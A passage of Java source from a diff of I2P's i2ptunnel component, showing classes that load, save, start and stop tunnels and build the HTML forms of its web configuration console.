if (fos != null) try { fos.close(); } catch (IOException ioe) {}
}
}
/**
* Start up the tunnel (if it isn't already running)
*
*/
public void startTunnel() {
if (_running) {
if (_log.shouldLog(Log.INFO))
_log.info("Already running");
log("Tunnel " + getName() + " is already running");
return;
}
String type = getType();
if ( (type == null) || (type.length() <= 0) ) {
if (_log.shouldLog(Log.WARN))
_log.warn("Cannot start the tunnel - no type specified");
return;
}
if ("httpclient".equals(type)) {
startHttpClient();
} else if ("client".equals(type)) {
startClient();
} else if ("server".equals(type)) {
startServer();
} else {
if (_log.shouldLog(Log.WARN))
_log.error("Cannot start tunnel - unknown type [" + type + "]");
}
}
private void startHttpClient() {
setI2CPOptions();
setSessionOptions();
setListenOn();
String listenPort = getListenPort();
String proxyList = getProxyList();
if (proxyList == null)
_tunnel.runHttpClient(new String[] { listenPort }, this);
else
_tunnel.runHttpClient(new String[] { listenPort, proxyList }, this);
_running = true;
}
private void startClient() {
setI2CPOptions();
setSessionOptions();
setListenOn();
String listenPort = getListenPort();
String dest = getTargetDestination();
_tunnel.runClient(new String[] { listenPort, dest }, this);
_running = true;
}
private void startServer() {
setI2CPOptions();
setSessionOptions();
String targetHost = getTargetHost();
String targetPort = getTargetPort();
String privKeyFile = getPrivKeyFile();
_tunnel.runServer(new String[] { targetHost, targetPort, privKeyFile }, this);
_running = true;
}
private void setListenOn() {
String listenOn = getListenOnInterface();
if ( (listenOn != null) && (listenOn.length() > 0) ) {
_tunnel.runListenOn(new String[] { listenOn }, this);
}
}
private void setSessionOptions() {
List opts = new ArrayList();
for (Iterator iter = _config.keySet().iterator(); iter.hasNext(); ) {
String key = (String)iter.next();
String val = _config.getProperty(key);
if (key.startsWith("option.")) {
key = key.substring("option.".length());
opts.add(key + "=" + val);
}
}
String args[] = new String[opts.size()];
for (int i = 0; i < opts.size(); i++)
args[i] = (String)opts.get(i);
_tunnel.runClientOptions(args, this);
}
private void setI2CPOptions() {
String host = getI2CPHost();
if ( (host != null) && (host.length() > 0) )
_tunnel.host = host;
String port = getI2CPPort();
if ( (port != null) && (port.length() > 0) )
_tunnel.port = port;
}
public void stopTunnel() {
_tunnel.runClose(new String[] { "forced", "all" }, this);
_running = false;
}
public void restartTunnel() {
stopTunnel();
startTunnel();
}
public void setConfig(Properties config, String prefix) {
Properties props = new Properties();
for (Iterator iter = config.keySet().iterator(); iter.hasNext(); ) {
String key = (String)iter.next();
String val = config.getProperty(key);
if (key.startsWith(prefix)) {
key = key.substring(prefix.length());
props.setProperty(key, val);
if (_log.shouldLog(Log.DEBUG))
_log.debug("Set prop [" + key + "] to [" + val + "]");
}
}
_config = props;
}
public Properties getConfig(String prefix) {
Properties rv = new Properties();
for (Iterator iter = _config.keySet().iterator(); iter.hasNext(); ) {
String key = (String)iter.next();
String val = _config.getProperty(key);
rv.setProperty(prefix + key, val);
}
return rv;
}
public String getType() { return _config.getProperty("type"); }
public String getName() { return _config.getProperty("name"); }
public String getDescription() { return _config.getProperty("description"); }
public String getI2CPHost() { return _config.getProperty("i2cpHost"); }
public String getI2CPPort() { return _config.getProperty("i2cpPort"); }
public String getClientOptions() {
StringBuffer opts = new StringBuffer(64);
for (Iterator iter = _config.keySet().iterator(); iter.hasNext(); ) {
String key = (String)iter.next();
String val = _config.getProperty(key);
if (key.startsWith("option.")) {
key = key.substring("option.".length());
if (opts.length() > 0) opts.append(' ');
opts.append(key).append('=').append(val);
}
}
return opts.toString();
}
public String getListenOnInterface() { return _config.getProperty("interface"); }
public String getTargetHost() { return _config.getProperty("targetHost"); }
public String getTargetPort() { return _config.getProperty("targetPort"); }
public String getPrivKeyFile() { return _config.getProperty("privKeyFile"); }
public String getListenPort() { return _config.getProperty("listenPort"); }
public String getTargetDestination() { return _config.getProperty("targetDestination"); }
public String getProxyList() { return _config.getProperty("proxyList"); }
public boolean getStartOnLoad() { return "true".equalsIgnoreCase(_config.getProperty("startOnLoad", "true")); }
public boolean getIsRunning() { return _running; }
public void getSummary(StringBuffer buf) {
String type = getType();
if ("httpclient".equals(type))
getHttpClientSummary(buf);
else if ("client".equals(type))
getClientSummary(buf);
else if ("server".equals(type))
getServerSummary(buf);
else
buf.append("Unknown type ").append(type);
}
private void getHttpClientSummary(StringBuffer buf) {
String description = getDescription();
if ( (description != null) && (description.trim().length() > 0) )
buf.append("<i>").append(description).append("</i><br />\n");
buf.append("HTTP proxy listening on port ").append(getListenPort());
String listenOn = getListenOnInterface();
if ("0.0.0.0".equals(listenOn))
buf.append(" (reachable by any machine)");
else if ("127.0.0.1".equals(listenOn))
buf.append(" (reachable locally only)");
else
buf.append(" (reachable at the ").append(listenOn).append(" interface)");
buf.append("<br />\n");
String proxies = getProxyList();
if ( (proxies == null) || (proxies.trim().length() <= 0) )
buf.append("Outproxy: default [squid.i2p]<br />\n");
else
buf.append("Outproxy: ").append(proxies).append("<br />\n");
getOptionSummary(buf);
}
private void getClientSummary(StringBuffer buf) {
String description = getDescription();
if ( (description != null) && (description.trim().length() > 0) )
buf.append("<i>").append(description).append("</i><br />\n");
buf.append("Client tunnel listening on port ").append(getListenPort());
buf.append(" pointing at ").append(getTargetDestination());
String listenOn = getListenOnInterface();
if ("0.0.0.0".equals(listenOn))
buf.append(" (reachable by any machine)");
else if ("127.0.0.1".equals(listenOn))
buf.append(" (reachable locally only)");
else
buf.append(" (reachable at the ").append(listenOn).append(" interface)");
buf.append("<br />\n");
getOptionSummary(buf);
}
private void getServerSummary(StringBuffer buf) {
String description = getDescription();
if ( (description != null) && (description.trim().length() > 0) )
buf.append("<i>").append(description).append("</i><br />\n");
buf.append("Server tunnel pointing at port ").append(getTargetPort());
buf.append(" on ").append(getTargetHost());
buf.append("<br />\n");
buf.append("Private destination loaded from ").append(getPrivKeyFile()).append("<br />\n");
getOptionSummary(buf);
}
private void getOptionSummary(StringBuffer buf) {
String opts = getClientOptions();
if ( (opts != null) && (opts.length() > 0) )
buf.append("Network options: ").append(opts).append("<br />\n");
if (_running) {
List sessions = _tunnel.getSessions();
for (int i = 0; i < sessions.size(); i++) {
I2PSession session = (I2PSession)sessions.get(i);
Destination dest = session.getMyDestination();
if (dest != null) {
buf.append("Destination hash: ").append(dest.calculateHash().toBase64()).append("<br />\n");
buf.append("Full destination: ");
buf.append("<input type=\"text\" size=\"10\" onclick=\"this.select();\" ");
buf.append("value=\"").append(dest.toBase64()).append("\" />\n");
if ("server".equals(getType())) {
buf.append(" Give that out to people so they can view your service.");
buf.append(" If you are going to share it on irc, be sure to split it on two lines");
}
buf.append("<br />\n");
}
}
}
}
public void log(String s) {
synchronized (this) {
_messages.add(s);
while (_messages.size() > 10)
_messages.remove(0);
}
if (_log.shouldLog(Log.INFO))
_log.info(s);
}
/**
* Pull off any messages that the I2PTunnel has produced
*
* @return list of messages pulled off (each is a String, earliest first)
*/
public List clearMessages() {
List rv = null;
synchronized (this) {
rv = new ArrayList(_messages);
_messages.clear();
}
return rv;
}
}

View File

@ -0,0 +1,290 @@
package net.i2p.i2ptunnel;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import java.util.TreeMap;
import net.i2p.I2PAppContext;
import net.i2p.util.Log;
/**
* Coordinate a set of tunnels within the JVM, loading and storing their config
* to disk, and building new ones as requested.
*
*/
public class TunnelControllerGroup {
private Log _log;
private static TunnelControllerGroup _instance;
static final String DEFAULT_CONFIG_FILE = "i2ptunnel.config";
private List _controllers;
private String _configFile = DEFAULT_CONFIG_FILE;
public static TunnelControllerGroup getInstance() {
synchronized (TunnelControllerGroup.class) {
if (_instance == null)
_instance = new TunnelControllerGroup(DEFAULT_CONFIG_FILE);
return _instance;
}
}
private TunnelControllerGroup(String configFile) {
_log = I2PAppContext.getGlobalContext().logManager().getLog(TunnelControllerGroup.class);
_controllers = new ArrayList();
_configFile = configFile;
loadControllers(_configFile);
}
public static void main(String args[]) {
if ( (args == null) || (args.length <= 0) ) {
_instance = getInstance();
} else if (args.length == 1) {
if (DEFAULT_CONFIG_FILE.equals(args[0]))
_instance = getInstance();
else
_instance = new TunnelControllerGroup(args[0]);
} else {
System.err.println("Usage: TunnelControllerGroup [filename]");
return;
}
}
/**
* Load up all of the tunnels configured in the given file (but do not start
* them)
*
*/
public void loadControllers(String configFile) {
Properties cfg = loadConfig(configFile);
if (cfg == null) {
if (_log.shouldLog(Log.WARN))
_log.warn("Unable to load the config from " + configFile);
return;
}
int i = 0;
while (true) {
String type = cfg.getProperty("tunnel." + i + ".type");
if (type == null)
break;
TunnelController controller = new TunnelController(cfg, "tunnel." + i + ".");
_controllers.add(controller);
i++;
}
if (_log.shouldLog(Log.INFO))
_log.info(i + " controllers loaded from " + configFile);
}
public void reloadControllers() {
unloadControllers();
loadControllers(_configFile);
}
/**
* Stop and remove reference to all known tunnels (but dont delete any config
* file or do other silly things)
*
*/
public void unloadControllers() {
stopAllControllers();
_controllers.clear();
if (_log.shouldLog(Log.INFO))
_log.info("All controllers stopped and unloaded");
}
/**
* Add the given tunnel to the set of known controllers (but dont add it to
* a config file or start it or anything)
*
*/
public void addController(TunnelController controller) { _controllers.add(controller); }
/**
* Stop and remove the given tunnel
*
* @return list of messages from the controller as it is stopped
*/
public List removeController(TunnelController controller) {
if (controller == null) return new ArrayList();
controller.stopTunnel();
List msgs = controller.clearMessages();
_controllers.remove(controller);
msgs.add("Tunnel " + controller.getName() + " removed");
return msgs;
}
/**
* Stop all tunnels
*
* @return list of messages the tunnels generate when stopped
*/
public List stopAllControllers() {
List msgs = new ArrayList();
for (int i = 0; i < _controllers.size(); i++) {
TunnelController controller = (TunnelController)_controllers.get(i);
controller.stopTunnel();
msgs.addAll(controller.clearMessages());
}
if (_log.shouldLog(Log.INFO))
_log.info(_controllers.size() + " controllers stopped");
return msgs;
}
/**
* Start all tunnels
*
* @return list of messages the tunnels generate when started
*/
public List startAllControllers() {
List msgs = new ArrayList();
for (int i = 0; i < _controllers.size(); i++) {
TunnelController controller = (TunnelController)_controllers.get(i);
controller.startTunnel();
msgs.addAll(controller.clearMessages());
}
if (_log.shouldLog(Log.INFO))
_log.info(_controllers.size() + " controllers started");
return msgs;
}
/**
* Restart all tunnels
*
* @return list of messages the tunnels generate when restarted
*/
public List restartAllControllers() {
List msgs = new ArrayList();
for (int i = 0; i < _controllers.size(); i++) {
TunnelController controller = (TunnelController)_controllers.get(i);
controller.restartTunnel();
msgs.addAll(controller.clearMessages());
}
if (_log.shouldLog(Log.INFO))
_log.info(_controllers.size() + " controllers restarted");
return msgs;
}
/**
* Fetch all outstanding messages from any of the known tunnels
*
* @return list of messages the tunnels have generated
*/
public List clearAllMessages() {
List msgs = new ArrayList();
for (int i = 0; i < _controllers.size(); i++) {
TunnelController controller = (TunnelController)_controllers.get(i);
msgs.addAll(controller.clearMessages());
}
return msgs;
}
/**
* Save the configuration of all known tunnels to the default config
* file
*
*/
public void saveConfig() {
saveConfig(_configFile);
}
/**
* Save the configuration of all known tunnels to the given file
*
*/
public void saveConfig(String configFile) {
_configFile = configFile;
File cfgFile = new File(configFile);
File parent = cfgFile.getParentFile();
if ( (parent != null) && (!parent.exists()) )
parent.mkdirs();
TreeMap map = new TreeMap();
for (int i = 0; i < _controllers.size(); i++) {
TunnelController controller = (TunnelController)_controllers.get(i);
Properties cur = controller.getConfig("tunnel." + i + ".");
map.putAll(cur);
}
StringBuffer buf = new StringBuffer(1024);
for (Iterator iter = map.keySet().iterator(); iter.hasNext(); ) {
String key = (String)iter.next();
String val = (String)map.get(key);
buf.append(key).append('=').append(val).append('\n');
}
FileOutputStream fos = null;
try {
fos = new FileOutputStream(cfgFile);
fos.write(buf.toString().getBytes());
if (_log.shouldLog(Log.INFO))
_log.info("Config written to " + cfgFile.getPath());
} catch (IOException ioe) {
_log.error("Error writing out the config");
} finally {
if (fos != null) try { fos.close(); } catch (IOException ioe) {}
}
}
/**
* Load up the config data from the file
*
* @return properties loaded or null if there was an error
*/
private Properties loadConfig(String configFile) {
File cfgFile = new File(configFile);
if (!cfgFile.exists()) {
if (_log.shouldLog(Log.ERROR))
_log.error("Unable to load the controllers from " + configFile);
return null;
}
Properties props = new Properties();
FileInputStream fis = null;
try {
fis = new FileInputStream(cfgFile);
BufferedReader in = new BufferedReader(new InputStreamReader(fis));
String line = null;
while ( (line = in.readLine()) != null) {
line = line.trim();
if (line.length() <= 0) continue;
if (line.startsWith("#") || line.startsWith(";"))
continue;
int eq = line.indexOf('=');
if ( (eq <= 0) || (eq >= line.length() - 1) )
continue;
String key = line.substring(0, eq);
String val = line.substring(eq+1);
props.setProperty(key, val);
}
if (_log.shouldLog(Log.INFO))
_log.info("Props loaded with " + props.size() + " lines");
return props;
} catch (IOException ioe) {
if (_log.shouldLog(Log.ERROR))
_log.error("Error reading the controllers from " + configFile, ioe);
return null;
} finally {
if (fis != null) try { fis.close(); } catch (IOException ioe) {}
}
}
/**
* Retrieve a list of tunnels known
*
* @return list of TunnelController objects
*/
public List getControllers() { return _controllers; }
}

View File

@ -0,0 +1,313 @@
package net.i2p.i2ptunnel;
import java.io.File;
import java.util.Iterator;
import java.util.Properties;
import java.util.Random;
import java.util.StringTokenizer;
/**
* Uuuugly... generate the edit/add forms for the various
* I2PTunnel types (httpclient/client/server)
*
*/
class WebEditPageFormGenerator {
private static final String SELECT_TYPE_FORM =
"<form action=\"edit.jsp\"> Type of tunnel: <select name=\"type\">" +
"<option value=\"httpclient\">HTTP proxy</option>" +
"<option value=\"client\">Client tunnel</option>" +
"<option value=\"server\">Server tunnel</option>" +
"</select> <input type=\"submit\" value=\"GO\" />" +
"</form>\n";
/**
* Retrieve the form requested
*
*/
public static String getForm(WebEditPageHelper helper) {
TunnelController controller = helper.getTunnelController();
if ( (helper.getType() == null) && (controller == null) )
return SELECT_TYPE_FORM;
String id = helper.getNum();
String type = helper.getType();
if (controller != null)
type = controller.getType();
if ("httpclient".equals(type))
return getEditHttpClientForm(controller, id);
else if ("client".equals(type))
return getEditClientForm(controller, id);
else if ("server".equals(type))
return getEditServerForm(controller, id);
else
return "WTF, unknown type [" + type + "]";
}
private static String getEditHttpClientForm(TunnelController controller, String id) {
StringBuffer buf = new StringBuffer(1024);
addGeneral(buf, controller, id);
buf.append("<b>Type:</b> <i>HTTP proxy</i><input type=\"hidden\" name=\"type\" value=\"httpclient\" /><br />\n");
addListeningOn(buf, controller, 4444);
buf.append("<b>Outproxies:</b> <input type=\"text\" name=\"proxyList\" size=\"20\" ");
if ( (controller != null) && (controller.getProxyList() != null) )
buf.append("value=\"").append(controller.getProxyList()).append("\" ");
else
buf.append("value=\"squid.i2p\" ");
buf.append("/><br />\n");
addOptions(buf, controller);
buf.append("<input type=\"submit\" name=\"action\" value=\"Save\">\n");
buf.append("<input type=\"submit\" name=\"action\" value=\"Remove\">\n");
buf.append(" <i>confirm</i> <input type=\"checkbox\" name=\"removeConfirm\" value=\"true\" />\n");
buf.append("</form>\n");
return buf.toString();
}
private static String getEditClientForm(TunnelController controller, String id) {
StringBuffer buf = new StringBuffer(1024);
addGeneral(buf, controller, id);
buf.append("<b>Type:</b> <i>Client tunnel</i><input type=\"hidden\" name=\"type\" value=\"client\" /><br />\n");
addListeningOn(buf, controller, 2025 + new Random().nextInt(1000)); // 2025 since nextInt can be negative
buf.append("<b>Target:</b> <input type=\"text\" size=\"40\" name=\"targetDestination\" ");
if ( (controller != null) && (controller.getTargetDestination() != null) )
buf.append("value=\"").append(controller.getTargetDestination()).append("\" ");
buf.append(" /> (either the hosts.txt name or the full base64 destination)<br />\n");
addOptions(buf, controller);
buf.append("<input type=\"submit\" name=\"action\" value=\"Save\"><br />\n");
buf.append("<input type=\"submit\" name=\"action\" value=\"Remove\">\n");
buf.append(" <i>confirm</i> <input type=\"checkbox\" name=\"removeConfirm\" value=\"true\" />\n");
buf.append("</form>\n");
return buf.toString();
}
private static String getEditServerForm(TunnelController controller, String id) {
StringBuffer buf = new StringBuffer(1024);
addGeneral(buf, controller, id);
buf.append("<b>Type:</b> <i>Server tunnel</i><input type=\"hidden\" name=\"type\" value=\"server\" /><br />\n");
buf.append("<b>Target host:</b> <input type=\"text\" size=\"40\" name=\"targetHost\" ");
if ( (controller != null) && (controller.getTargetHost() != null) )
buf.append("value=\"").append(controller.getTargetHost()).append("\" ");
else
buf.append("value=\"localhost\" ");
buf.append(" /><br />\n");
buf.append("<b>Target port:</b> <input type=\"text\" size=\"4\" name=\"targetPort\" ");
if ( (controller != null) && (controller.getTargetPort() != null) )
buf.append("value=\"").append(controller.getTargetPort()).append("\" ");
else
buf.append("value=\"80\" ");
buf.append(" /><br />\n");
buf.append("<b>Private key file:</b> <input type=\"text\" name=\"privKeyFile\" value=\"");
if ( (controller != null) && (controller.getPrivKeyFile() != null) ) {
buf.append(controller.getPrivKeyFile()).append("\" /><br />");
} else {
buf.append("myServer.privKey\" /><br />");
buf.append("<input type=\"hidden\" name=\"privKeyGenerate\" value=\"true\" />");
}
addOptions(buf, controller);
buf.append("<input type=\"submit\" name=\"action\" value=\"Save\">\n");
buf.append("<input type=\"submit\" name=\"action\" value=\"Remove\">\n");
buf.append(" <i>confirm</i> <input type=\"checkbox\" name=\"removeConfirm\" value=\"true\" />\n");
buf.append("</form>\n");
return buf.toString();
}
/**
* Start off the form and add some common fields (name, num, description)
*
* @param buf where to shove the form
* @param controller tunnel in question, or null if we're creating a new tunnel
* @param id index into the current list of tunnelControllerGroup.getControllers() list
* (or null if we are generating an 'add' form)
*/
private static void addGeneral(StringBuffer buf, TunnelController controller, String id) {
buf.append("<form action=\"edit.jsp\">");
if (id != null)
buf.append("<input type=\"hidden\" name=\"num\" value=\"").append(id).append("\" />");
buf.append("<b>Name:</b> <input type=\"text\" name=\"name\" size=\"20\" ");
if ( (controller != null) && (controller.getName() != null) )
buf.append("value=\"").append(controller.getName()).append("\" ");
buf.append("/><br />\n");
buf.append("<b>Description:</b> <input type=\"text\" name=\"description\" size=\"60\" ");
if ( (controller != null) && (controller.getDescription() != null) )
buf.append("value=\"").append(controller.getDescription()).append("\" ");
buf.append("/><br />\n");
}
/**
* Generate the fields asking for what port and interface the tunnel should
* listen on.
*
* @param buf where to shove the form
* @param controller tunnel in question, or null if we're creating a new tunnel
* @param defaultPort if we are creating a new tunnel, default the form to the given port
*/
private static void addListeningOn(StringBuffer buf, TunnelController controller, int defaultPort) {
buf.append("<b>Listening on port:</b> <input type=\"text\" name=\"port\" size=\"20\" ");
if ( (controller != null) && (controller.getListenPort() != null) )
buf.append("value=\"").append(controller.getListenPort()).append("\" ");
else
buf.append("value=\"").append(defaultPort).append("\" ");
buf.append("/><br />\n");
String selectedOn = null;
if ( (controller != null) && (controller.getListenOnInterface() != null) )
selectedOn = controller.getListenOnInterface();
buf.append("<b>Reachable by:</b> ");
buf.append("<select name=\"reachableBy\">");
buf.append("<option value=\"127.0.0.1\" ");
if ( (selectedOn != null) && ("127.0.0.1".equals(selectedOn)) )
buf.append("selected=\"true\" ");
buf.append(">Locally (127.0.0.1)</option>\n");
buf.append("<option value=\"0.0.0.0\" ");
if ( (selectedOn != null) && ("0.0.0.0".equals(selectedOn)) )
buf.append("selected=\"true\" ");
buf.append(">Everyone (0.0.0.0)</option>\n");
buf.append("</select> ");
buf.append("Other: <input type=\"text\" name=\"reachableByOther\" value=\"");
if ( (selectedOn != null) && (!"127.0.0.1".equals(selectedOn)) && (!"0.0.0.0".equals(selectedOn)) )
buf.append(selectedOn);
buf.append("\"><br />\n");
}
/**
* Add fields for customizing the I2PSession options, including helpers for
* tunnel depth and count, as well as I2CP host and port.
*
* @param buf where to shove the form
* @param controller tunnel in question, or null if we're creating a new tunnel
*/
private static void addOptions(StringBuffer buf, TunnelController controller) {
int tunnelDepth = 2;
int numTunnels = 2;
Properties opts = getOptions(controller);
if (opts != null) {
String depth = opts.getProperty("tunnels.depthInbound");
if (depth != null) {
try {
tunnelDepth = Integer.parseInt(depth);
} catch (NumberFormatException nfe) {
tunnelDepth = 2;
}
}
String num = opts.getProperty("tunnels.numInbound");
if (num != null) {
try {
numTunnels = Integer.parseInt(num);
} catch (NumberFormatException nfe) {
numTunnels = 2;
}
}
}
buf.append("<b>Tunnel depth:</b> ");
buf.append("<select name=\"tunnelDepth\">");
buf.append("<option value=\"0\" ");
if (tunnelDepth == 0) buf.append(" selected=\"true\" ");
buf.append(">0 hop tunnel (low anonymity, low latency)</option>");
buf.append("<option value=\"1\" ");
if (tunnelDepth == 1) buf.append(" selected=\"true\" ");
buf.append(">1 hop tunnel (medium anonymity, medium latency)</option>");
buf.append("<option value=\"2\" ");
if (tunnelDepth == 2) buf.append(" selected=\"true\" ");
buf.append(">2 hop tunnel (high anonymity, high latency)</option>");
if (tunnelDepth > 2) {
buf.append("<option value=\"").append(tunnelDepth).append("\" selected=\"true\" >");
buf.append(tunnelDepth);
buf.append(" hop tunnel (custom)</option>");
}
buf.append("</select><br />\n");
buf.append("<b>Tunnel count:</b> ");
buf.append("<select name=\"tunnelCount\">");
buf.append("<option value=\"1\" ");
if (numTunnels == 1) buf.append(" selected=\"true\" ");
buf.append(">1 inbound tunnel (low bandwidth usage, less reliability)</option>");
buf.append("<option value=\"2\" ");
if (numTunnels == 2) buf.append(" selected=\"true\" ");
buf.append(">2 inbound tunnels (standard bandwidth usage, standard reliability)</option>");
buf.append("<option value=\"3\" ");
if (numTunnels == 3) buf.append(" selected=\"true\" ");
buf.append(">3 inbound tunnels (higher bandwidth usage, higher reliability)</option>");
if (numTunnels > 3) {
buf.append("<option value=\"").append(numTunnels).append("\" selected=\"true\" >");
buf.append(numTunnels);
buf.append(" inbound tunnels (custom)</option>");
}
buf.append("</select><br />\n");
buf.append("<b>I2CP host:</b> ");
buf.append("<input type=\"text\" name=\"clientHost\" size=\"20\" value=\"");
if ( (controller != null) && (controller.getI2CPHost() != null) )
buf.append(controller.getI2CPHost());
else
buf.append("localhost");
buf.append("\" /><br />\n");
buf.append("<b>I2CP port:</b> ");
buf.append("<input type=\"text\" name=\"clientPort\" size=\"20\" value=\"");
if ( (controller != null) && (controller.getI2CPPort() != null) )
buf.append(controller.getI2CPPort());
else
buf.append("7654");
buf.append("\" /><br />\n");
buf.append("<b>Other custom options:</b> \n");
buf.append("<input type=\"text\" name=\"customOptions\" size=\"60\" value=\"");
if (opts != null) {
int i = 0;
for (Iterator iter = opts.keySet().iterator(); iter.hasNext(); ) {
String key = (String)iter.next();
String val = opts.getProperty(key);
if ("tunnels.depthInbound".equals(key)) continue;
if ("tunnels.numInbound".equals(key)) continue;
if (i != 0) buf.append(' ');
buf.append(key).append('=').append(val);
i++;
}
}
buf.append("\" /><br />\n");
buf.append("<b>Start automatically?</b> \n");
buf.append("<input type=\"checkbox\" name=\"startOnLoad\" value=\"true\" ");
if ( (controller != null) && (controller.getStartOnLoad()) )
buf.append(" checked=\"true\" />\n<br />\n");
else
buf.append(" />\n<br />\n");
}
/**
* Retrieve the client options from the tunnel
*
* @return map of name=val to be used as I2P session options
*/
private static Properties getOptions(TunnelController controller) {
if (controller == null) return null;
String opts = controller.getClientOptions();
StringTokenizer tok = new StringTokenizer(opts);
Properties props = new Properties();
while (tok.hasMoreTokens()) {
String pair = tok.nextToken();
int eq = pair.indexOf('=');
if ( (eq <= 0) || (eq >= pair.length()) )
continue;
String key = pair.substring(0, eq);
String val = pair.substring(eq+1);
props.setProperty(key, val);
}
return props;
}
}

View File

@ -0,0 +1,358 @@
package net.i2p.i2ptunnel;
import java.util.List;
import java.util.Properties;
import java.util.StringTokenizer;
import net.i2p.I2PAppContext;
import net.i2p.util.Log;
/**
* UUUUuuuuuugly glue code to handle bean interaction from the web, process
* that data, and spit out the results (or the form requested). The basic
* usage is to set any of the fields with data then query the bean via
* getActionResults() which triggers the request processing (taking all the
* provided data, doing what needs to be done) and returns the results of those
* activites. Then a subsequent call to getEditForm() generates the HTML form
* to either edit the currently selected tunnel (if specified) or add a new one.
* This functionality is delegated to the WebEditPageFormGenerator.
*
*/
public class WebEditPageHelper {
private Log _log;
private String _action;
private String _type;
private String _id;
private String _name;
private String _description;
private String _i2cpHost;
private String _i2cpPort;
private String _tunnelDepth;
private String _tunnelCount;
private String _customOptions;
private String _proxyList;
private String _port;
private String _reachableBy;
private String _reachableByOther;
private String _targetDestination;
private String _targetHost;
private String _targetPort;
private String _privKeyFile;
private boolean _startOnLoad;
private boolean _privKeyGenerate;
private boolean _removeConfirmed;
public WebEditPageHelper() {
_action = null;
_type = null;
_id = null;
_removeConfirmed = false;
_log = I2PAppContext.getGlobalContext().logManager().getLog(WebEditPageHelper.class);
}
/**
* Used for form submit - either "Save" or Remove"
*/
public void setAction(String action) {
_action = (action != null ? action.trim() : null);
}
/**
* What type of tunnel (httpclient, client, or server). This is
* required when adding a new tunnel.
*
*/
public void setType(String type) {
_type = (type != null ? type.trim() : null);
}
/**
* Which particular tunnel should be edited (index into the current
* TunnelControllerGroup's getControllers() list). This is required
* when editing a tunnel, but not when adding a new one.
*
*/
public void setNum(String id) {
_id = (id != null ? id.trim() : null);
}
String getType() { return _type; }
String getNum() { return _id; }
/** Short name of the tunnel */
public void setName(String name) {
_name = (name != null ? name.trim() : null);
}
/** one line description */
public void setDescription(String description) {
_description = (description != null ? description.trim() : null);
}
/** I2CP host the router is on */
public void setClientHost(String host) {
_i2cpHost = (host != null ? host.trim() : null);
}
/** I2CP port the router is on */
public void setClientPort(String port) {
_i2cpPort = (port != null ? port.trim() : null);
}
/** how many hops to use for inbound tunnels */
public void setTunnelDepth(String tunnelDepth) {
_tunnelDepth = (tunnelDepth != null ? tunnelDepth.trim() : null);
}
/** how many parallel inbound tunnels to use */
public void setTunnelCount(String tunnelCount) {
_tunnelCount = (tunnelCount != null ? tunnelCount.trim() : null);
}
/** what I2P session overrides should be used */
public void setCustomOptions(String customOptions) {
_customOptions = (customOptions != null ? customOptions.trim() : null);
}
/** what HTTP outproxies should be used (httpclient specific) */
public void setProxyList(String proxyList) {
_proxyList = (proxyList != null ? proxyList.trim() : null);
}
/** what port should this client/httpclient listen on */
public void setPort(String port) {
_port = (port != null ? port.trim() : null);
}
/**
* what interface should this client/httpclient listen on (unless
* overridden by the setReachableByOther() field)
*/
public void setReachableBy(String reachableBy) {
_reachableBy = (reachableBy != null ? reachableBy.trim() : null);
}
/**
* If specified, defines the exact IP interface to listen for requests
* on (in the case of client/httpclient tunnels)
*/
public void setReachableByOther(String reachableByOther) {
_reachableByOther = (reachableByOther != null ? reachableByOther.trim() : null);
}
/** What peer does this client tunnel point at */
public void setTargetDestination(String dest) {
_targetDestination = (dest != null ? dest.trim() : null);
}
/** What host does this server tunnel point at */
public void setTargetHost(String host) {
_targetHost = (host != null ? host.trim() : null);
}
/** What port does this server tunnel point at */
public void setTargetPort(String port) {
_targetPort = (port != null ? port.trim() : null);
}
/** What filename is this server tunnel's private keys stored in */
public void setPrivKeyFile(String file) {
_privKeyFile = (file != null ? file.trim() : null);
}
/**
* If called with any value, we want to generate a new destination
* for this server tunnel. This won't cause any existing private keys
* to be overwritten, however.
*/
public void setPrivKeyGenerate(String moo) {
_privKeyGenerate = true;
}
/**
* If called with any value (and the form submitted with action=Remove),
* we really do want to stop and remove the tunnel.
*/
public void setRemoveConfirm(String moo) {
_removeConfirmed = true;
}
/**
* If called with any value, we want this tunnel to start whenever it is
* loaded (aka right now and whenever the router is started up)
*/
public void setStartOnLoad(String moo) {
_startOnLoad = true;
}
/**
* Process the form and display any resulting messages
*
*/
public String getActionResults() {
try {
return processAction();
} catch (Throwable t) {
_log.log(Log.CRIT, "Internal error processing request", t);
return "Internal error - " + t.getMessage();
}
}
/**
* Generate an HTML form to edit / create a tunnel according to the
* specified fields
*/
public String getEditForm() {
try {
return WebEditPageFormGenerator.getForm(this);
} catch (Throwable t) {
_log.log(Log.CRIT, "Internal error retrieving edit form", t);
return "Internal error - " + t.getMessage();
}
}
/**
* Retrieve the tunnel pointed to by the current id
*
*/
TunnelController getTunnelController() {
if (_id == null) return null;
int id = -1;
try {
id = Integer.parseInt(_id);
List controllers = TunnelControllerGroup.getInstance().getControllers();
if ( (id < 0) || (id >= controllers.size()) )
return null;
else
return (TunnelController)controllers.get(id);
} catch (NumberFormatException nfe) {
if (_log.shouldLog(Log.WARN))
_log.warn("Invalid tunnel id [" + _id + "]", nfe);
return null;
}
}
private String processAction() {
if ( (_action == null) || (_action.trim().length() <= 0) )
return "";
if ("Save".equals(_action))
return save();
else if ("Remove".equals(_action))
return remove();
else
return "Action <i>" + _action + "</i> unknown";
}
private String remove() {
if (!_removeConfirmed)
return "Please confirm removal";
TunnelController cur = getTunnelController();
if (cur == null)
return "Invalid tunnel number";
List msgs = TunnelControllerGroup.getInstance().removeController(cur);
msgs.addAll(doSave());
return getMessages(msgs);
}
private String save() {
if (_type == null)
return "<b>Invalid form submission (no type?)</b>";
Properties config = getConfig();
if (config == null)
return "<b>Invalid params</b>";
TunnelController cur = getTunnelController();
if (cur == null) {
// creating new
cur = new TunnelController(config, "", _privKeyGenerate);
TunnelControllerGroup.getInstance().addController(cur);
} else {
cur.setConfig(config, "");
}
return getMessages(doSave());
}
private List doSave() {
TunnelControllerGroup.getInstance().saveConfig();
return TunnelControllerGroup.getInstance().clearAllMessages();
}
/**
* Based on all provided data, create a set of configuration parameters
* suitable for use in a TunnelController. This will replace (not add to)
* any existing parameters, so this should return a comprehensive mapping.
*
*/
private Properties getConfig() {
Properties config = new Properties();
updateConfigGeneric(config);
if ("httpclient".equals(_type)) {
if (_port != null)
config.setProperty("listenPort", _port);
if (_reachableByOther != null)
config.setProperty("interface", _reachableByOther);
else
